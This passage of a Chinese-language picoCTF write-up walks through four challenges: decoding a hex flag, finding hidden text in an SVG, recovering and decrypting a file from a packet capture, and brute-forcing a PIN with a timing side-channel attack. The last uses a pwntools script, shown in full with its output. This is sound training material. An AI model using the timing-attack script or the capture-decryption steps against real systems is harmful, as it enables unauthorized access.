flag: ASCII text
$ cat flag
7069636f4354467b66316c656e406d335f6d406e3170756c407431306e5f
6630725f3062326375723137795f39353063346665657d0a
```
看起來像是 hex 過後的內容,用 `xxd` 轉回去:
```bash
$ cat flag | xxd -p -r
picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_xxxxxxxx}
```
做完這一系列的動作就能拿到 flag 了。
### Summary
Flag: `picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_xxxxxxxx}`
## Enhance! <span style="color: orange;"> [Medium] </span>
### Challenge description
Download this image file and find the flag.
* [Download image file](https://artifacts.picoctf.net/c/102/drawing.flag.svg)
### Solution
下載後檢查 `drawing.flag.svg` 裡面的內容:
```xml
<text
xml:space="preserve"
style="font-style:normal;font-weight:normal;font-size:0.00352781px;line-height:1.25;font-family:sans-serif;letter-spacing:0px;word-spacing:0px;fill:#ffffff;fil
l-opacity:1;stroke:none;stroke-width:0.26458332;"
x="107.43014"
y="132.08501"
id="text3723"><tspan
sodipodi:role="line"
x="107.43014"
y="132.08501"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3748">p </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.08942"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3754">i </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.09383"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3756">c </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.09824"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3758">o </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.10265"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3760">C </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.10706"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3762">T </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.11147"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3764">F { 3 n h 4 n </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.11588"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3752">c 3 d _ x x x x x x x x }</tspan></text>
```
可以看到,flag 被包含在 `<tspan></tspan>` 裡面,因此只要將裡面的內容組合起來就能拿到 flag 了。
### Summary
Flag: `picoCTF{3nh4nc3d_xxxxxxxx}`
## Eavesdrop <span style="color: orange;"> [Medium] </span>
### Challenge description
Download this packet capture and find the flag.
* [Download packet capture](https://artifacts.picoctf.net/c/133/capture.flag.pcap)
### Solution
用 wireshark 打開題目提供的檔案後,可以看到封包的數量並不算多,比較值得注意的是 TCP 的部分,因此對最上面 tcp 的封包點右鍵選擇 `Follow -> TCP Stream`:

可以看到,在 Stream 0 的部分有一段對話,從這段對話我們可以知道他們在 9002 port 上傳遞了一份檔案。所以接著我們可以用 `tcp.port == 9002` 在 wireshark 中找出我們要的封包(題目提供的檔案沒有 UDP 封包,所以可以直接找 TCP 的部分就好):

一樣去 Follow Stream 查看內容:

這個內容應該就是加密後的檔案資料了,用下方的 `Save as` 按鈕將檔案下載下來取名為 `file.des` 並搭配前面得到的指令就能拿到放有 flag 的 `flag.txt` 了:
```bash
$ openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123
```
### Summary
Flag: `picoCTF{nc_73115_411_xxxxxxxx}`
## SideChannel <span style="color: red;"> [Hard] </span>
### Challenge description
There's something fishy about this PIN-code checker, can you figure out the PIN and get the flag?
Download the PIN checker program here [pin_checker](https://artifacts.picoctf.net/c/74/pin_checker)
### Solution
首先將檔案下載下來並觀察它的行為:
```bash
$ chmod +x pin_checker
$ ./pin_checker
Please enter your 8-digit PIN code:
00000000
8
Checking PIN...
Access denied.
```
可以看到,我們必須找出 PIN,而題目的 Hint 提示了這題可以用 timing-based side-channel attack,因此我們可以記錄送入猜測的 PIN 碼後 binary 計算所花的時間,找出最特別的那一個就可能是我們要的結果。
```python
from pwn import *
import time
# hide the message when opening a new process
context.log_level = "error"
durations = {}
for i in range(10):
p = process("./pin_checker")
start_time = time.time()
payload = str(i).ljust(8, '0')
print(f"PIN: {payload}")
p.sendlineafter(b"code:\n", payload.encode())
p.recvlines(3)
duration = round(time.time() - start_time, 3)
durations[i] = duration
print(duration)
p.close()
```
嘗試測試 PIN 的第一個數字,從 0-9 在右邊補零至 8 位後送入 process 運算並印出花費的時間,可以看到輸出結果中確實有數字花費的時間與其他相差較大:
```bash
$ python solve.py
PIN: 00000000
0.135
PIN: 10000000
0.138
PIN: 20000000
0.141
PIN: 30000000
0.143
PIN: 40000000
0.271
PIN: 50000000
0.141
PIN: 60000000
0.14
PIN: 70000000
0.141
PIN: 80000000
0.139
PIN: 90000000
0.142
```
因此第一位數字應該是 4,並且可以得知花費時間更多的那一個應該就是我們要找的數字,所以接著就把上面的 script 改寫一下讓他直接找出 8 位 PIN 碼:
```python
from pwn import *
import time
# hide the message when opening a new process
context.log_level = "error"
pin = ""
for i in range(8):
durations = {}
for i in range(10):
p = process("./pin_checker")
start_time = time.time()
payload = (pin + str(i)).ljust(8, '0')
print(f"PIN: {payload}")
p.sendlineafter(b"code:\n", payload.encode())
p.recvlines(3)
duration = round(time.time() - start_time, 3)
durations[i] = duration
print(duration)
p.close()
index = max(durations, key=durations.get)
pin += str(index)
print(f"Current PIN code: {pin}\n")
time.sleep(2)
```
執行並得出 PIN 之後打開 `pin_checker` 測試可以看到 PIN 碼正確,接著連上 server 送出 PIN 就能得到結果了:
```
Current PIN code: 48390513
```
```bash
$ ./pin_checker
Please enter your 8-digit PIN code:
48390513
8
Checking PIN...
Access granted. You may use your PIN to log into the master server.
```
### Summary
Flag: `picoCTF{t1m1ng_4tt4ck_xxxxxxxx}`